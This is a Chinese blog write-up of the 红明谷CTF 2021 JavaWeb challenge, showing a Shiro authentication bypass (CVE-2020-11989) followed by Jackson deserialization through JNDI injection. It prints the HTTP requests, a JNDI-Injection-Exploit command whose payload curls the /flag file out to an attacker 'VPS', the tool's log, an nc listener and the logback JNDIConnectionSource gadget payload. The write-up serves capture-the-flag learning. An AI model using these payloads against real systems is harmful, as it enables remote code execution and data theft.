

[红明谷CTF 2021]JavaWeb

原创

Sk1y 于 2022-03-04 00:01:16 发布 4408 收藏

分类专栏: [红明谷CTF2021复现 CTF刷题记录](#) 文章标签: [CTF Web jackson反序列化](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/RABCDXB/article/details/123266973>

版权



[红明谷CTF2021复现](#) 同时被 2 个专栏收录

3 篇文章 0 订阅

订阅专栏



[CTF刷题记录](#)

143 篇文章 3 订阅

订阅专栏

[红明谷CTF 2021]JavaWeb

文章目录

[\[红明谷CTF 2021\]JavaWeb](#)

[jackson反序列化](#)

访问/login, 但是又提示访问/json, 访问, 但是又回到了/login

随便传点东西进去, 在返回的cookie中有提示: `rememberMe=deleteMe`

是个shiro, 需要用到CVE-2020-11989 (Apache Shiro 身份验证绕过漏洞)

一点注意的地方

springboot对浏览器的请求返回html的报错信息, 而对其他客户端返回json格式报错信息, json格式的报错信息更加详细

刚开始就是没注意请求头中 `Accept`, 修改为 `*/*`, 表示接收所有格式的相响应, 这样得到更多的信息

```
1 POST /;/json HTTP/1.1
2 Host: 09f2a814-2c88-4260-a1a1-81f7631cbf45.node4.buuoj.cn:81
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537
5 Accept: */*
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
8 Cookie: UM_distinctid=17ebb1e232d8a1-079d0408afbccd-5e181959-12c000-1
9 Connection: close
10 Content-Type: application/json
11 Content-Length: 2
12
13 [
]
```

```
1 HTTP/1.1 500 Internal Server Error
2 Server: openresty
3 Date: Thu, 03 Mar 2022 15:07:23 GMT
4 Content-Type: application/json;charset=UTF-8
5 Connection: close
6 Content-Length: 331
7
8 {
  "timestamp":1646320043880,
  "status":500,
  "error":"Internal Server Error",
  "exception":"com.fasterxml.jackson.databind.JsonMappe
  "message":"Unexpected token (END_ARRAY), expected V
  "path":"/;/json"
}
```

CSDN @Sk1y

jackson反序列化

下载工具: <https://github.com/welk1n/JNDI-Injection-Exploit/releases>

```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://VPS:7001 -File=@/flag' -A "VPS"
```

```
[ADDRESS] >> [REDACTED]
[COMMAND] >> curl http://[REDACTED]:7001 -File=@/flag
-----JNDI Links-----
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://[REDACTED]:1099/ndffyz
ldap://[REDACTED]:1389/ndffyz
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+
in classpath):
rmi://[REDACTED]:1099/nekcv9
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://[REDACTED]:1099/7aecds
ldap://[REDACTED]:1389/7aecds

-----Server Log-----
2022-03-03 23:50:45 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-03-03 23:50:45 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-03-03 23:50:46 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2022-03-03 23:51:23 [RMISERVER] >> Have connection from /117.21.200.166:3929
2022-03-03 23:51:23 [RMISERVER] >> Reading message...
2022-03-03 23:51:23 [RMISERVER] >> Is RMI.lookup call for nekcv9 2
2022-03-03 23:51:23 [RMISERVER] >> Sending local classloading reference.
2022-03-03 23:51:23 [RMISERVER] >> Closing connection
```

CSDN @Sk1y

监听7001端口

```
nc -lvp 7001
```

在burpsuite发包

```
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://VPS:1099/nekcv9"}]
```

